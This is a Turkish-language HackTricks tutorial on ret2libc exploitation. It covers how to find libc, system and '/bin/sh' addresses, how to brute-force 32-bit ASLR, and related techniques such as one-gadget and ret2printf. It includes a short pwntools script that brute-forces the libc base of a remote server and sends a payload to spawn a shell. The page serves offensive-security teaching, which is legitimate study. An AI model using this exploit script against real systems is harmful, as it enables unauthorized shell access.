Ret2lib

Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları:

Temel Bilgiler

Ret2Libc'nin özü, zayıf bir programın yürütme akışını, saldırgan tarafından sağlanan shellcode'un yığında yürütülmesi yerine, paylaşılan bir kütüphane içindeki bir işlevine yönlendirmektir (örneğin, system, execve, strcpy). Saldırgan, geri dönüş adresini değiştiren bir yük oluşturur ve yığında istenen kütüphane işlevine işaret edecek şekilde ayarlar, aynı zamanda çağrı konvansiyonuna göre gerekli argümanların da doğru şekilde ayarlanmasını sağlar.

Örnek Adımlar (basitleştirilmiş)

  • Çağrılacak işlevin adresini alın (örneğin, system) ve çağrılacak komutu alın (örneğin, /bin/sh)

  • İlk argümanı komut dizinine işaret edecek şekilde ve yürütme akışını işleve geçirecek şekilde ROP zinciri oluşturun

Adresleri Bulma

  • Kullanılan libc'nin mevcut makineden olduğunu varsayarsak, nerede bellekte yükleneceğini aşağıdaki komutla bulabilirsiniz:

ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)

Eğer ASLR'nin libc adresini değiştirip değiştirmediğini kontrol etmek istiyorsanız şunu yapabilirsiniz:

for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
  • Kullanılan libc bilindiğinde, system işlevine olan ofseti bulmak da mümkündür:

readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
  • Kullanılan libc bilindiğinde, /bin/sh dizesinin işlevine olan ofseti bulmak da mümkündür:

strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

gdb-peda / GEF Kullanımı

Kullanılan libc bilindiğinde, Peda veya GEF kullanılarak system fonksiyonunun, exit fonksiyonunun ve /bin/sh dizesinin adresini elde etmek de mümkündür:

p system
p exit
find "/bin/sh"

/proc/<PID>/maps Kullanımı

Eğer işlem her konuştuğunuzda (ağ sunucusu) çocuklar oluşturuyorsa, o dosyayı okumaya çalışın (muhtemelen root olmanız gerekecektir).

Burada işlem içinde libc'nin tam olarak nerede yüklendiğini ve işlemin her çocuğu için nerede yükleneceğini bulabilirsiniz.

Bu durumda 0xb75dc000 adresine yüklendi (Bu libc'nin taban adresi olacaktır)

Bilinmeyen libc

Binary'nin yüklediği libc'yi bilmediğiniz olabilir (çünkü erişiminiz olmayan bir sunucuda olabilir). Bu durumda zafiyeti sızdırmak için kullanabilir ve hangi libc kütüphanesinin kullanıldığını bulabilirsiniz:

pageLeaking libc address with ROP

Ve bunun için bir pwntools şablonunu bulabilirsiniz:

pageLeaking libc - template

2 ofset ile libc'yi bilmek

https://libc.blukat.me/ sayfasını kontrol edin ve libc içindeki fonksiyonların bir çift adresini kullanarak kullanılan sürümü bulun.

32 bit ASLR'yi Atlatma

Bu brute-force saldırıları yalnızca 32 bit sistemler için kullanışlıdır.

  • Saldırı yerel ise, libc'nin taban adresini brute-force etmeyi deneyebilirsiniz (32 bit sistemler için kullanışlıdır):

for off in range(0xb7000000, 0xb8000000, 0x1000):
  • Uzak bir sunucuyu hedef alıyorsanız, libc fonksiyonu usleep'in adresini 10 (örneğin) argümanı olarak geçerek brute-force yöntemini deneyebilirsiniz. Eğer sunucu cevap vermek için 10 saniye daha fazla zaman alıyorsa, bu fonksiyonun adresini buldunuz demektir.

Tek Gadget

libc içinde belirli bir adrese sadece atlayarak bir kabuk çalıştırın:

pageOne Gadget

x86 Ret2lib Kod Örneği

Bu örnekte ASLR brute-force kod içine entegre edilmiş ve zafiyetli ikili dosya uzak bir sunucuda bulunmaktadır:

from pwn import *

c = remote('192.168.85.181',20002)
c.recvline()

for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()

x64 Ret2lib Kod Örneği

Örneği kontrol etmek için:

pageROP - Return Oriented Programing

ARM64 Ret2lib Örneği

ARM64 durumunda, ret komutu x30 kaydının işaret ettiği yere atlar ve yığın kaydının işaret ettiği yere değil. Bu nedenle biraz daha karmaşıktır.

Ayrıca ARM64'te bir komut, ne yapması gerekiyorsa onu yapar (komutların ortasına atlayıp onları yeni komutlara dönüştürmek mümkün değildir).

Örneği kontrol etmek için:

pageRet2lib + Printf leak - arm64

Printf'e Ret

Bu, printf/puts'ı belirli bir veriyle bir argüman olarak çağırarak işlemdeki bilgileri sızdırmayı sağlar. Örneğin, GOT'taki puts adresini puts'ın bir yürütülmesine yerleştirmek, bellekteki puts adresini sızdıracaktır.

Ret2printf

Bu temelde, bir Ret2lib'i kullanarak bir printf format dizesi güvenlik açığına dönüştürmek anlamına gelir, ret2lib'i kullanarak onu sömürmek için printf'i çağırmak ve sömürmek için değerlerle kullanmak (anlamsız görünse de mümkündür):

pageFormat Strings

Diğer Örnekler ve Referanslar

Last updated